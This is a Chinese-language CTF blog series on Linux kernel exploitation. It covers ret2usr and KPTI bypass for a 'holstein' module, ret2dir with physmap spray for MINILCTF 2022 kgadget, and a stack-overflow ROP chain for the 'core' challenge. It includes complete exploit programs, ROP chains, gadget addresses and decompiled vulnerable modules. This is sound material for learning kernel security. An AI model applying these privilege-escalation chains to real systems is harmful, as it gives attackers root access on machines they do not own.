printf("Module holstein open error!\n");
return 0;
}

int i;
long rop_chain[0x100];
for(i = 0; i < 0x81; i++)
rop_chain[i] = 0;
rop_chain[i++] = (long)get_root_privilige;
rop_chain[i++] = swapgs;
rop_chain[i++] = iretq;
rop_chain[i++] = (long)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

write(fd, rop_chain, 0x500);
return 0;
}
仅启用KASLR，不使用读取操作来进行ret2usr提权：
当禁用 SMAP、SMEP 和 KPTI 并启用 KASLR 时，仅使用 Stack Overflow 漏洞提升权限（即不使用读取）。
提示：使用 ret2usr 执行 shellcode 时检查寄存器值。
略微修改exp为如下即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
long root_shell = (long)get_root_shell;
...
void shellcode()
{
        __asm__("push user_ss;"
                "push user_sp;"
                "push user_rflags;"
                "push user_cs;"
                "push root_shell;"
                "swapgs;"
                "iretq;");

}
...
...
//if with KASLR, use these
rop_chain[i++] = (long)get_root_privilige;
rop_chain[i++] = (long)shellcode;
...
kernel rop with KPTI but without KASLR
在开启了kpti之后，再次使用之前的exp就会得到Segmentation fault，只需细微修改exp即可，如
1
2
3
4
5
6
7
8
//if with kpti, then use these
rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
rop_chain[i++] = 0;
rop_chain[i++] = 0;

//if without kpti, then use these
//rop_chain[i++] = swapgs;
//rop_chain[i++] = iretq;
add KASLR
在添加了KASLR后，程序在每次启动时都会有一个随机的偏移，但是由于存在越界读取，因此可以读取出内核栈空间的敏感内容，计算得到偏移，如下
1
2
3
4
long buf[0x100];
read(fd, buf, 0x500);
long offset = buf[0x81] - ret_addr_no_aslr;
printf("KASLR offset is : %p\n", offset);
在调试KASLR的过程中，出现了如下问题：未开启KASLR时的对应gadget和开启KASLR时的gadget会有可能不一样，引起该问题的主要原因是ROPgadget，ropper等工具在查找gadget时是按照机器码查找的，当文件中出现绝对地址时，而此gadget的机器码正好包含在绝对地址中。
如：绝对地址0xFFFFFFFF81C35900，而pop rcx; ret对应的机器码是59 C3，正好是这个绝对地址中的部分值，因此在没有KASLR的情况下，它确实是一个有效的gadget。然而，一旦KASLR生效，它同时也将内核中这些汇编指令中的绝对地址也做了更新，否则内核在执行类似上面这条mov指令时就可能会出错，因为地址已经被随机化了。


kernel入门(2)之ret2dir
2024-07-20T11:30:00.000Z
基本原理
ret2dir 是哥伦比亚大学网络安全实验室在 2014 年提出的一种辅助攻击手法，主要用来绕过 smep、smap、pxn 等用户空间与内核空间隔离的防护手段，原论文见此处http://www.cs.columbia.edu/~vpk/papers/ret2dir.sec14.pdf
先来看看ret2usr的利用手法，即从内核空间返回到在用户空间构造好的提权代码上，如下
1
2
3
4
5
6
----------------------------------------------
|              kernel space        |>------------
----------------------------------------------  |
|             user space        |             |ret
|       commit(prepare_kernel_cred(NULL)) |<------------|
----------------------------------------------
但是由于smep与smap保护的加入，在内核态对用户态数据的访问和执行被禁止，导致该攻击手法已不可用。而ret2dir可以说就是用来绕过这类使用户空间与内核空间隔离的保护的。
首先来看一下x86下linux内核空间的布局mm.rst - Documentation/x86/x86_64/mm.rst - Linux source code (v5.2) - Bootlin
其中有如下的一片区域，这片区域direct mapping area被称为内核的线性映射区，它直接映射了物理内存
1
ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)
有关linux内核4级页表和5级页表的具体知识不在这里详述（因为我也不会。。。
我们都知道每个进程都有自己的虚拟内存空间，而它们一定对应着一片物理内存空间。那么现在就会出现内核空间和用户空间同时映射着同一片物理内存，那么我们就可以在内核态下通过访问direct mapping area来间接访问用户空间的数据。
如果我们在用户空间布置shellcode，那么我们就可以在内核空间访问到，如下图所示：
但是目前内核空间的这片区域不具有执行权限，因此只能用于构造ROP链，如下图：
一般的利用ret2dir进行攻击的手法是：
利用 mmap 在用户空间大量喷射内存
利用漏洞泄露出内核的“堆”上地址（通过 kmalloc 获取到的地址），这个地址直接来自于线性映射区
利用泄露出的内核线性映射区的地址进行内存搜索，从而找到我们在用户空间喷射的内存
此时我们就获得了一个可以在内核空间访问用户空间数据的能力，那么就绕过了内核空间与用户空间的隔离保护
需要注意的是我们往往没有内存搜索的机会，因此需要使用 mmap 喷射大量的物理内存写入同样的 payload，之后再随机挑选一个线性映射区上的地址进行利用，这样我们就有很大的概率命中到我们布置的 payload 上，这种攻击手法也称为 physmap spray
MINILCTF 2022 - kgadget
a3👴在校赛出的一道题，很典型的用来入门ret2dir的题
题目分析
首先来看run.sh
1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smep,+smap \
-smp cores=2,threads=2 \
-kernel bzImage \
-initrd ./rootfs.cpio \
-nographic \
-monitor /dev/null \
-snapshot \
-append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
-no-reboot 
开启了kpti    smep    smap，但是nokaslr
程序没有直接给vmlinux，那么我们可以使用extract-vmlinux来提取出它，使用方式extract-vmlinux ./bzImage。关于extract-vmlinux的下载自行搜索即可。
然后来看漏洞模块kgadget.ko，程序只有一个函数有用，即kgadget_ioctl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
{
  void (__fastcall **v3)(void *, _QWORD); // rdx
  void (__fastcall *v4)(void *, _QWORD); // rbx
  void (__fastcall *v5)(void *, _QWORD); // rsi

  _fentry__(__file, *(_QWORD *)&cmd);
  if ( cmd == 114514 )
  {
    v4 = *v3;
    v5 = *v3;
    printk(&unk_370);
    printk(&unk_3A0);
    qmemcpy(
      (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
      "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
      48);
    *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;
    printk(&unk_3F8);
    v4(&unk_3F8, v5);
    return 0LL;
  }
  else
  {
    printk(&unk_420);
    return -1LL;
  }
}
当传入的cmd参数为114514时，程序会调用call [param]，这个函数中的qmemcpy是被优化后的操作，实际汇编为
1
2
3
4
5
6
7
8
9
.text.unlikely:0000000000000160                               regs = rdx                              ; pt_regs *
.text.unlikely:0000000000000160 48 BA 61 72 74 74 6E 62 61 33 mov     regs, '3abnttra'
.text.unlikely:000000000000016A 48 89 90 58 FF FF FF          mov     [rax-0A8h], rdx
.text.unlikely:0000000000000171 48 89 90 60 FF FF FF          mov     [rax-0A0h], rdx
.text.unlikely:0000000000000178 48 89 90 68 FF FF FF          mov     [rax-98h], rdx
.text.unlikely:000000000000017F 48 89 90 70 FF FF FF          mov     [rax-90h], rdx
.text.unlikely:0000000000000186 48 89 90 78 FF FF FF          mov     [rax-88h], rdx
.text.unlikely:000000000000018D 48 89 50 80                   mov     [rax-80h], rdx
.text.unlikely:0000000000000191 48 89 50 90                   mov     [rax-70h], rdx
我们在调试之后可以发现这些操作实际上是将保存在内核栈里面的寄存器损坏了，但还保留了两个，即r9  r8的值，那它们有什么用呢，继续分析
因为是call [param]，因此我们可以直接设置param为direct mapping area中的一个位置，但前提是我们要喷射很多内存，并在这些内存中填充上有用的gadget。在执行完一个gadget之后，必然会继续ret，这时我们就需要控制栈到dir位置了，r8 r9中未损坏的值就可以用来进行栈迁移。例如在call [param]后到param位置时栈的状态如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
00:0000│ rsp 0xffffc90000257ed8 —▸ 0xffffffffc000219f ◂— xor eax, eax
01:0008│     0xffffc90000257ee0 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
02:0010│     0xffffc90000257ee8 ◂— 0xf2debfc5f34a5a00
03:0018│     0xffffc90000257ef0 —▸ 0xffff888004226600 ◂— 0x0
04:0020│ rbp 0xffffc90000257ef8 —▸ 0xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0
05:0028│     0xffffc90000257f00 —▸ 0xffffffff81319232 ◂— cmp eax, 0xfffffdfd
06:0030│     0xffffc90000257f08 —▸ 0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
07:0038│     0xffffc90000257f10 ◂— 0x0
... ↓        3 skipped
0b:0058│     0xffffc90000257f30 —▸ 0xffffc90000257f48 ◂— 0x0
0c:0060│     0xffffc90000257f38 —▸ 0xffffffff81bb9607 ◂— mov qword ptr [rbx + 0x50], rax
0d:0068│     0xffffc90000257f40 ◂— 0x0
0e:0070│     0xffffc90000257f48 ◂— 0x0
0f:0078│     0xffffc90000257f50 —▸ 0xffffffff81c0008c ◂— mov rcx, qword ptr [rsp + 0x58]
10:0080│     0xffffc90000257f58 ◂— 0x3361626e74747261 ('arttnba3')
... ↓        5 skipped
16:00b0│     0xffffc90000257f88 ◂— 0x202
17:00b8│     0xffffc90000257f90 ◂— 0x3361626e74747261 ('arttnba3')
18:00c0│     0xffffc90000257f98 ◂— 0x99999999******r9******
19:00c8│     0xffffc90000257fa0 ◂— 0x88888888******r8******
1a:00d0│     0xffffc90000257fa8 ◂— 0xffffffffffffffda
1b:00d8│     0xffffc90000257fb0 —▸ 0x402c0a ◂— mov eax, 0
1c:00e0│     0xffffc90000257fb8 —▸ 0xffff888007000000 ◂— 0x0
1d:00e8│     0xffffc90000257fc0 ◂— 0x1bf52
我们可以找到如下gadget，称此gadget为ADD_RSP_0xa0_POP_FOUR_REG_RET
1
2
3
4
5
6
ffffffff816fca4a:       48 81 c4 a0 00 00 00    add    $0xa0,%rsp
ffffffff816fca51:       5b                      pop    %rbx
ffffffff816fca52:       41 5c                   pop    %r12
ffffffff816fca54:       41 5d                   pop    %r13
ffffffff816fca56:       5d                      pop    %rbp
ffffffff816fca57:       c3                      ret
那么我们只需要设置r8=param    r9=pop_rsp，（pop_rsp为0xffffffff811483d0 : pop rsp ; ret），这样就可以把栈迁移到direct mapping area来进行ROP了
ROP链构造
我们应该让落在ADD_RSP_0xa0_POP_FOUR_REG_RET的概率尽可能大一点，因此我们可以尽可能多的写入ADD_RSP_0xa0_POP_FOUR_REG_RET的地址，同时能使其滑入提权的payload，例如这是一片页内存，按如下方式布置
1
2
3
4
5
6
7
  0    -----------------------------------------------------------------
      |                ADD_RSP_0xa0_POP_FOUR_REG_RET                   |
 0xe00 -----------------------------------------------------------------
      |                         RET                                    |
 0xfa0 -----------------------------------------------------------------
      |                   get_root_payload                             |
0x1000 -----------------------------------------------------------------
这样当栈被迁移到ADD_RSP_0xa0_POP_FOUR_REG_RET时，就必定可以滑入RET，从而到达get_root_payload
构造如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void construct_chain()
{
        int i = 0;
        for(; i < (page_size-0x200)/8; i++)
                chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;
        for(; i < (page_size-0x60)/8; i++)
                chain[i] = RET;
        chain[i++] = POP_RDI_RET;
        chain[i++] = init_cred;
        chain[i++] = commit_creds;
        chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27;
        chain[i++] = 0;
        chain[i++] = 0;
        chain[i++] = (size_t)get_root_shell;
        chain[i++] = user_cs;
        chain[i++] = user_rflags;
        chain[i++] = user_sp;
        chain[i++] = user_ss;
}
mmap喷射内存
喷射内存就是尽可能多的消耗内存空间，从而增大成功概率
1
2
3
4
5
6
7
8
9
10
11
void spray_physmap()
{
        size_t map[15000];
        printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n");
        for(int i = 0; i < 15000; i++)
        {
                map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
                memcpy((void*)map[i], chain, page_size);
        }
        printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n");
}
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include
#include
#include
#include
#include
#include

#define POP_RDI_RET 0xffffffff8108c6f0
#define init_cred 0xffffffff82a6b700
#define ADD_RSP_0x90_POP_FIVE_REG_RET 0xffffffff81004049
#define RET 0xffffffff8100405a
#define POP_RSP_RET 0xffffffff811483d0
#define ADD_RSP_0xa0_POP_FOUR_REG_RET 0xffffffff816fca4a

int dev_fd;
size_t commit_creds = 0xffffffff810c92e0, swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0;
size_t chain[16000];
size_t target, pop_rsp=POP_RSP_RET;
size_t page_size;
size_t  *physmap_spray_arr[16000];

void construct_chain()
{
int i = 0;
for(; i < (page_size-0x200)/8; i++)
chain[i] = ADD_RSP_0xa0_POP_FOUR_REG_RET;
for(; i < (page_size-0x60)/8; i++)
chain[i] = RET;
chain[i++] = POP_RDI_RET;
chain[i++] = init_cred;
chain[i++] = commit_creds;
chain[i++] = swapgs_restore_regs_and_return_to_usermode + 27;
chain[i++] = 0;
chain[i++] = 0;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
}

void spray_physmap()
{
size_t map[15000];
printf("\033[32m\033[1m[+] Spray physmap...\033[0m\n");
for(int i = 0; i < 15000; i++)
{
map[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memcpy((void*)map[i], chain, page_size);
}
printf("\033[32m\033[1m[+] Spray physmap end.\033[0m\n");
}

int main()
{
save_status();
dev_fd = open("/dev/kgadget", O_RDWR);
if(dev_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the /dev/kgadget file!\033[0m\n");
exit(-1);
}
page_size = sysconf(_SC_PAGESIZE);
construct_chain();
printf("\033[32m\033[1m[+] Construct rop chain success!\033[0m\n");
spray_physmap();
        
target = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0x15151515;"
"mov r14, 0x14141414;"
"mov r13, 0x13131313;"
"mov r12, 0x12121212;"
"mov rbp, 0xbcbcbcbc;"
"mov rbx, 0xbdbdbdbd;"
"mov r11, 0x11111111;"
"mov r10, 0x10101010;"
"mov r9,  pop_rsp;"
"mov r8,  target;"
"mov rax, 0x10;"
"mov rcx, 0xcccccccc;"
"mov rdx, target;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);

return 0;
}



kernel入门(1)之core
2024-07-06T11:30:00.000Z
前言
由于kernel pwn的知识实在过于庞杂，因此鄙人选择从题目入手来学习kernel pwn的知识，并且该方向上已经有很多大佬写的优秀文章，其中基础知识也提到的不少，所以我希望能通过细节梳理题目中的每一个知识点来入门，也就是用到什么学什么。这里放一个arttnba3师傅的kernel基础知识文章：【OS.0x00】Linux Kernel I：Basic Knowledge - arttnba3’s blog
同时本文大幅参考以下文章：[原创]Kernel PWN从入门到提升-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog
前置处理
文件相关知识
bzImage & vmlinux
解压压缩包，看到give_to_player文件夹，里面有四个文件，分别是bzImage, core.cpio, start.sh, vmlinux。其中bzImage为压缩内核镜像。
zImage && bzImage
zImage–是vmlinux经过gzip压缩后的文件。
bzImage–bz表示“big zImage”，不是用bzip2压缩的，而是要偏移到一个位置，使用gzip压缩的。两者的不同之处在于，zImage解压缩内核到低端内存(第一个 640K)，bzImage解压缩内核到高端内存(1M以上)。如果内核比较小，那么采用zImage或bzImage都行，如果比较大应该用bzImage。
https://blog.csdn.net/xiaotengyi2012/article/details/8582886
vmlinux为原始内核文件。以下来自new bing（这玩意儿还挺好用
vmlinux和bzImage的区别
vmlinux是内核编译后生成的ELF格式的文件，它包含了完整的符号表和调试信息，可以用于内核调试。bzImage是内核编译后生成的压缩文件，它不包含符号表和调试信息，只包含可执行的二进制数据。
vmlinux是未经压缩的内核文件，它的大小取决于内核配置和编译选项。bzImage是经过gzip压缩的内核文件，它的大小一般比vmlinux小很多。
vmlinux不能直接被引导程序加载和启动，它需要经过objcopy或其他工具处理成Image或其他格式的文件。bzImage可以直接被引导程序加载和启动，它在文件开头部分内嵌有gzip解压缩代码。
vmlinux在启动时不需要解压缩，它直接被加载到内存中运行。bzImage在启动时需要解压缩，它被解压缩成vmlinux格式，然后再被加载到内存中运行。
vmlinux和bzImage都是Linux内核的通用格式，它们可以适用于不同的架构和平台。
core.cpio
core.cpio是打包后的文件系统，常用的打包和解包命令如下
1
2
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio             （如果碰到解压出来一坨，可以直接归档管理器提取，这道题似乎就是这样）
start.sh
start.sh为qemu的启动脚本。再来看看它的内容
1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
Here is a brief explanation of the parameters:
qemu-system-x86_64 is the name of the QEMU emulator for x86_64 architecture
-m 64M specifies the amount of memory for the guest system (64 MB)
-kernel ./bzImage specifies the kernel image to boot from
-initrd ./core.cpio specifies the initial ramdisk image
-append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr” passes arguments to the kernel. In this case, it sets the root device to /dev/ram, enables read-write mode, redirects console output to ttyS0, makes the kernel panic on oops, sets the panic timeout to 1 second, suppresses kernel messages and enables kernel address space layout randomization (KASLR).
-s enables a gdbserver on TCP port 1234
-netdev user,id=t0, creates a user mode network backend with id t0
-device e1000,netdev=t0,id=nic0 creates an Intel e1000 network device and connects it to the network backend t0 with id nic0
-nographic disables graphical output and redirects serial I/Os to console
core文件系统
解包core.cpio，发现漏洞模块core.ko，以及init系统初始化脚本，还有一个gen_cpio.sh脚本，查看内容之后发现是一个快速打包命令，使用方式为./gen_cpio.sh 目标文件，就可以将文件系统打包为这个目标文件了。
然后看init脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f
注意到命令cat /proc/kallsyms > /tmp/kallsyms，将kallsyms拷贝了一份到tmp目录下，这样我们就可以通过这个文件来查找函数地址了。insmod /core.ko加载内核模块，poweroff -d 120 -f &设置自动关机时间，可以删掉或者改大一点，避免影响做题。
漏洞模块分析
checksec看到开了canary和NX，IDA打开core.ko
程序中的函数有init_module   core_ioctl    core_copy_func    core_read     core_write     core_release     exit_core
接下来逐一分析这些函数
init_module
其实就一句
1
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
程序会调用proc_create函数创建一个core文件供选手与内核交互，来看这个函数的定义
1
static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
其中struct file_operations的定义如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, 
   unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};
其中比较常用的函数有：
第1行：owner拥有该拥有该结构体的模块指针，一般设置为 THIS_MODULE，防止模块还在被使用的时候被卸载。
第2行：lseek函数用于修改文件当前的读写位置。
第3行：read函数用于读取设备文件。
第4行：write函数用于向设备文件写入(发送)数据。
第13行：open函数用于打开设备文件。
第15行：release函数用于释放 函数用于释放 函数用于释放 (关闭 )设备文件，与应用程序中的close()函数对应。
原文链接：https://blog.csdn.net/qq_40642828/article/details/103810494
在本题中，该结构体如下
1
2
3
4
5
6
static struct file_operations test_fops = {
.owner = this_module,
.write = core_write,
.compat_ioctl = core_ioctl,
.release = core_release,
};
也就是说在使用write函数向core文件写入的时候会调用core_write函数，在使用ioctl时会调用core_ioctl函数。而core_release就是内核模块的关闭函数，相当于close().
core_write
1
2
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
关键代码就这一句，在写入大小小于等于0x800时，将用户空间中a2位置的数据拷贝a3字节到内核中的 name区域
core_ioctl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      core_copy_func(a3);
      break;
  }
  return 0LL;
}
这个函数是程序的关键函数，第一个可以调用core_read函数，第二个可以设置off变量的值，第三个可以调用core_copy_func函数
core_read
实际上关键代码也就一句
1
result = copy_to_user(a1, &v5[off], 64LL);
由于我们可以任意改变off变量的值，因此将它们拷贝到用户空间后打印可以实现信息泄露
core_copy_func
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}
函数可以从name拷贝小于63个字节到v2数组，而这里存在整形溢出，在qmemcpy中使用了unsigned，而传入时是__int64，因此可以产生栈溢出。
exit_module
一个退出模块的函数
基本思路
basic
这里直接偷了a3✌的文
ROP即返回导向编程（Return-oriented programming），应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流
✳ 内核态的 ROP 与用户态的 ROP 一般无二，只不过利用的 gadget 变成了内核中的 gadget，所需要构造执行的 ropchain 由system("/bin/sh")变为了 commit_creds(prepare_kernel_cred(&init_task)) 或 commit_creds(&init_cred)
当成功执行如上函数之后，当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝，我们也就获得了 root 权限，此时在用户态起一个 shell 便能获得 root shell
需要注意的是 旧版本内核上所用的提权方法 commit_creds(prepare_kernel_cred(NULL)) 已经不再能被使用，在高版本的内核当中 prepare_kernel_cred(NULL) 将不再返回一个 root cred，这也令 ROP chain 的构造变为更加困难 ：(
状态保存
再偷~~~
通常情况下，我们的exploit需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个root权限的shell，因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上，以便于后续着陆回用户态
通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链：
算是一个通用的pwn板子
方便起见，使用了内联汇编，编译时需要指定参数：-masm=intel
1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
获取函数地址及KASLR偏移
在用户态的ROP中，我们时常需要获取system函数的地址。在内核态中，也是同样的。不同的是我们需要读取/proc/kallsyms来获取commit_creds和prepare_kernel_cred的函数地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
       exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
           printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
           continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
       {
           prepare_kernel_cred = addr;
           printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
          continue;
       }
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址，相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;
首先我们需要在qemu的启动参数中将kaslr改成nokaslr，然后启动执行cat /tmp/kallsyms | grep 'commit_creds'，即可得到未偏移的地址。然后在开启后再次获取，计算偏移，即可绕过KASLR。
泄露canary
可以直接设置off变量，然后调用core_read函数泄露
1
2
3
4
5
//get the canary
size_t canary;
set_off_value(fd, 64);//数组的第64项恰好越界到canary
core_read(fd, buf);
canary = ((size_t *)buf)[0];
构造ROP链
ROP链要完成的事情就是commit_creds(prepare_kernel_cred(NULL))，然后着陆回用户态执行system('/bin/sh')获得一个shell
在这个过程中就必须要有一些gadget，用ROPgadget或者ropper，有时候这两个会有一个很慢或者找不到，这时用另一个就行了。找到后加上之前算出来的ASLR偏移就行。
查找gadget其实还可以直接objdump -D ./vmlinux > ../asm把整个程序的反汇编dump出来，然后直接用vim搜，不过汇编格式是AT&T风格
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

//construct the rop chain
size_t rop_chain[0x100], i=0;
for(; i < 10; i++)
    rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + offset;
    rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + offset;
    rop_chain[i++] = (size_t)get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;
关于着陆回用户态，这里再偷个a3✌的文：
在 这篇博客 当中笔者简要叙述了内核态返回用户态的过程：
swapgs指令恢复用户态GS寄存器
sysretq或者iretq恢复到用户空间
那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态
通常来说，我们应当构造如下rop链以返回用户态并获得一个shell：
1
2
3
4
5
6
7
↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss
关于调试
对于pwn题，调试无疑是重中之重。在该题目中，qemu的启动参数中出现了-s选项，表示预留了tcp::1234端口供gdb调试，如果没有，也可以手动添加-gdb tcp::1234，然后gdb可以target remote :1234远程连接。
同时我们需要手动导入符号表，首先在init文件中添加cat /sys/module/core/sections/.text > /tmp/info将符号表备份到/tmp/info位置，然后运行，例如得到
1
2
/tmp $ cat info
0xffffffffc030c000
